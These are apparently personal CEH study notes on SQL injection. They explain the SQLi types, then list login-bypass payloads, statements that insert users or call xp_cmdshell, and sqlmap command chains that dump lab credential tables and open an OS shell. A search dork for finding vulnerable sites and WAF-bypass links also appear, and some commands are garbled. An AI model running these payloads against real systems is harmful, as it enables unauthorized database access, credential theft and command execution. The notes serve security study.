Practical CEH Notes & Tools
HomeGitHubPortfolioTwitter/XMediumCont@ct
  • πŸ““Practical Ethical Hacker Notes
    • πŸ“šMain Contents
      • 2 - Footprinting & Recon
      • 3 - Scanning Networks
      • 4 - Enumeration
      • 5 - Vulnerability Analysis
      • 6 - System Hacking
      • 7 - Malware
      • 8 - Sniffing
      • 10 - DoS
      • 11 - Session Hijacking
      • 13 - Hacking Web Servers
      • 14 - Hacking Web Apps
      • 15 - SQL Injection
      • 16 - Hacking Wireless
      • 17 - Hacking Mobile
      • 18 - IoT and OT Hacking
      • 19 - Cloud Computing
      • 20 - Cryptography
    • πŸ‘¨β€πŸŽ“Study Walkthrough
      • πŸ§ͺLabs and Training
    • Tools πŸ› οΈ
      • πŸ€–Adb tool
      • πŸ”BCTextEncoder
      • 🟧Burp Suite
      • πŸ‘¨β€πŸ’»Cewl
      • πŸ“Crunch
      • πŸ—ƒοΈDirb
      • 🐧Enum4linux
      • πŸ”—Gobuster
      • πŸ”“Hashcalc
      • 😺Hashcat
      • πŸ‘‰Hping3
      • πŸ‰Hydra
      • πŸ₯·John the Ripper
      • Ⓜ️Metasploit
      • 5️⃣Md5 Calculator
      • πŸ‘½Nikto
      • πŸ‘οΈNmap
      • πŸ–ΌοΈOpenstego
      • 🎨QuickStego
      • 🌈RainbowCrack
      • ↗️Responder LLMNR
      • πŸ•·οΈSearchsploit
      • β›„Snow
      • πŸŒ€Stego
      • πŸ’‰SQLMap
      • βš™οΈSteghide
      • βš—οΈStegimage
      • πŸ”‘Veracrypt
      • 🦈Wireshark or Tcpdump
      • πŸ”WPScan
      • ⚑Zap
Powered by GitBook
On this page
  • Manual Injection
  • SQLMap
  • Basic Commands
  • Perform an SQL Injection Attack Against MSSQL to Extract Databases using SQLMap
  • Other Tools
  • Lab - Example of use
  • SQLMap
  • Additional Resources
  1. Practical Ethical Hacker Notes
  2. Main Contents

15 - SQL Injection

Previous14 - Hacking Web AppsNext16 - Hacking Wireless

Last updated 1 year ago

Module 15 - SQL Injection

What is SQL Injection?

SQL Injection is a type of security vulnerability that occurs when an attacker is able to manipulate an SQL query in a way that it executes unintended commands on a database. This can lead to unauthorized access, data disclosure, data manipulation, or even database destruction.

Here's a basic textual explanation:

1. SQL Query: In web applications, databases are often used to store and retrieve data. The application sends SQL queries to the database to interact with the data.

2. User Input: User input is data that a user provides to a web application, like a search query in a text box or a login form.

3. Vulnerability: In a vulnerable application, the SQL query is constructed by simply including the user's input without proper validation or sanitization.

4. Attack: An attacker can enter malicious input, which may include SQL code, into the user input fields. If the application doesn't properly validate and sanitize this input, the attacker's SQL code becomes part of the query sent to the database.

5. Exploitation: The attacker can manipulate the SQL query to perform malicious actions, such as extracting sensitive data, modifying or deleting data, or even taking control of the database.

Type of SQL Injection

Types of SQL Injection

Union-based SQLi: This technique involves using the UNION SQL operator to combine the results of the original query with the results of an attacker-controlled query.

Error-based SQLi: This technique involves forcing the database to generate an error, which can reveal information about the database structure.

Blind SQLi: In this type of SQLi, the attacker doesn't get the results of the SQL query in the HTTP response. The attacker has to send a payload, and based on the application's response, he can infer if the payload was executed successfully or not.

Time-based Blind SQLi: This is a type of blind SQLi where the attacker can infer if the payload was executed successfully or not based on the time the server takes to respond.

Out-of-Band SQLi: In this type of SQLi, the attacker doesn't get the results of the SQL query in the HTTP response. Instead, the results are sent to an external server controlled by the attacker.

Second Order SQLi: In this type of SQLi, the payload is not directly injected into the SQL query, but it is stored by the application and used in a later SQL query.

Stored Procedure Attacks: This involves calling stored procedures from the SQL injection point.

Function Call Payloads: This involves calling database functions from the SQL injection point.

Boolean-based SQLi: This involves sending a SQL query that will return a different result depending on whether the condition in the query is true or false.

Content-based SQLi: This involves sending a SQL query that will return a different result depending on the content of the HTTP response.

Manual Injection

  • β€˜ or 1=1 -- for login bypass

  • admin' --

  • admin' #

  • admin'/*

  • ' or 1=1--

  • ' or 1=1#

  • ' or 1=1/*

  • ') or '1'='1--

  • ') or ('1'='1β€”

  • β€˜insert into login values ('john','apple123'); -- create own user in the database

  • β€˜create database mydatabase; -- create database with name of mydatabase

  • β€˜exec master..xp_cmdshell 'ping www.moviescope.com -l 65000 -t'; -- execute ping on moviescope

SQLMap

  • Open the vulnerable website

  • Copy the cookie from the inspect element

  • Open the terminal and run SQLMap

Basic Commands

  • SQLMAP Extract DBS

  • Extract Tables

  • Extract Columns

  • Dump Data

  • OS Shell to execute commands

  • Login bypass

    • blah' or 1=1 --

  • Insert data into DB from login

    • blah';insert into login values ('john','apple123');

  • Create database from login

    • blah';create database mydatabase;

  • Execute cmd from login

    • blah';exec master..xp_cmdshell 'ping www.moviescope.com -l 65000 -t'; --

Perform an SQL Injection Attack Against MSSQL to Extract Databases using SQLMap

  • Login a website

  • Inspect element

  • Dev tools->Console: document.cookie

    • -u: Specify the target URL

    • --cookie: Specify the HTTP cookie header value

    • --dbs: Enumerate DBMS databases

  • Get a list of databases

  • Select a database to extract its tables

    • -D: Specify the DBMS database to enumerate

    • --tables: Enumerate DBMS database tables

  • Get a list of tables

  • Select a column

  • Get table data of this column

  • Get the OS Shell

  • TASKLIST

Then, if we've SQL username and psw, we can use them to login and query db.

mysql -U qdpmadmin -h 192.168.1.8 -P passwod
show databases;
use qdpm;
show tables' select * from users;
show dtabases;
use staff;
show tables;
select * from login;
select * from user;

Other Tools

  • Havij: Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities.

  • jSQL Injection: jSQL Injection is a lightweight application used to find database information from a distant server.

  • BBQSQL: BBQSQL is a blind SQL injection framework written in Python.

  • NoSQLMap: NoSQLMap is an open-source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases.

  • SQLNinja: SQLNinja is a tool to exploit SQL Injection vulnerabilities on a web application that uses Microsoft SQL Server as its back-end.

  • SQLiX: SQLiX is a SQL Injection scanner written in Perl.

  • SQLSentinel: SQLSentinel is an application-level firewall for MySQL that prevents SQL Injection attacks.

  • MyBatis: MyBatis is a Java persistence framework that includes a built-in SQL Injection scanner.

  • Blisqy: Blisqy is a tool to aid Web Security researchers to find Time-based Blind SQL injection on HTTP Headers and also exploitation of the same vulnerability.

Lab - Example of use

SQLMap

(for cookies- console->document.cookie)

(dump whole table)

OR

(dump individual column data)

Additional Resources

sqlmap -u β€œ --cookie="xookies xxx" --dbs

sqlmap -u β€œ --cookie="xookies xxx" --data="id=1&Submit=Submit"--dbs

sqlmap -u β€œ --cookie="cookies xxx" -D moviescope --tables

sqlmap -u β€œ --cookie="cookies xxx" -D moviescope -T User_Login --columns

sqlmap -u β€œ --cookie="cookies xxx" -D moviescope -T User_Login --dump

sqlmap -u β€œ --cookie="cookies xxx" --os-shell

sqlmap -u "" --cookie="value" –dbs

sqlmap -u "" --cookie="value" -D moviescope –tables

sqlmap -u "" --cookie="value" -D moviescope –T User_Login --dump

sqlmap -u "" --cookie="value" --os-shell

site: php?= (for finding vulnerable site)

sqlmap -u --dbs (databases)

sqlmap -u -D acuart –tables (tables)

sqlmap -u -D acuart -T users --columns (columns)

sqlmap -u -D acuart -T users --dump

sqlmap -u -D acuart -T users -C uname --dump

sqlmap -u -D acuart -T users -C pass --dump

πŸ““
πŸ“š
http://www.example.com/viewprofile.aspx?id=1”
http://www.example.com/viewprofile.aspx?id=1”
http://www.example.com/viewprofile.aspx?id=1”
http://www.example.com/viewprofile.aspx?id=1”
http://www.example.com/viewprofile.aspx?id=1”
http://www.example.com/viewprofile.aspx?id=1”
http://www.moviescope.com/viewprofile.aspx?id=1
http://www.moviescope.com/viewprofile.aspx?id=1
http://www.moviescope.com/viewprofile.aspx?id=1
http://www.moviescope.com/viewprofile.aspx?id=1
http://testphp.vulnweb.com/
http://testphp.vulnweb.com/artists.php?artist=1
http://testphp.vulnweb.com/artists.php?artist=1
http://testphp.vulnweb.com/artists.php?artist=1
http://testphp.vulnweb.com/artists.php?artist=1
http://testphp.vulnweb.com/artists.php?artist=1
http://testphp.vulnweb.com/artists.php?artist=1
https://www.youtube.com/watch?v=IR1JsaSQLMc
SQLmap TutorialHackerTarget.com
Sqlmap tutorial for beginners – hacking with sql injectionBinaryTides
Database Penetration Testing using Sqlmap (Part 1) - Hacking ArticlesHacking Articles
DVWA Solutionβ€Šβ€”β€ŠSQL Injection (Blind) + SQLMAPMedium
DVWA 1.9+: Blind SQL Injection with SQLMapHacker Toolbelt
Logo
Logo
Akimbo Core | Penetration Testing, Cybersecurity Training and Consultancy
SQLMap Tamper Scripts (SQL Injection and WAF bypass) TipsMedium
SQL Injection Bypassing WAF Software Attack | OWASP Foundation
Logo
https://www.1337pwn.com/use-sqlmap-to-bypass-cloudflare-waf-and-hack-website-with-sql-injection/
Logo
Logo
Logo
Logo
https://spanning.com/blog/sql-injection-attacks-web-based-application-security-part-4/
Logo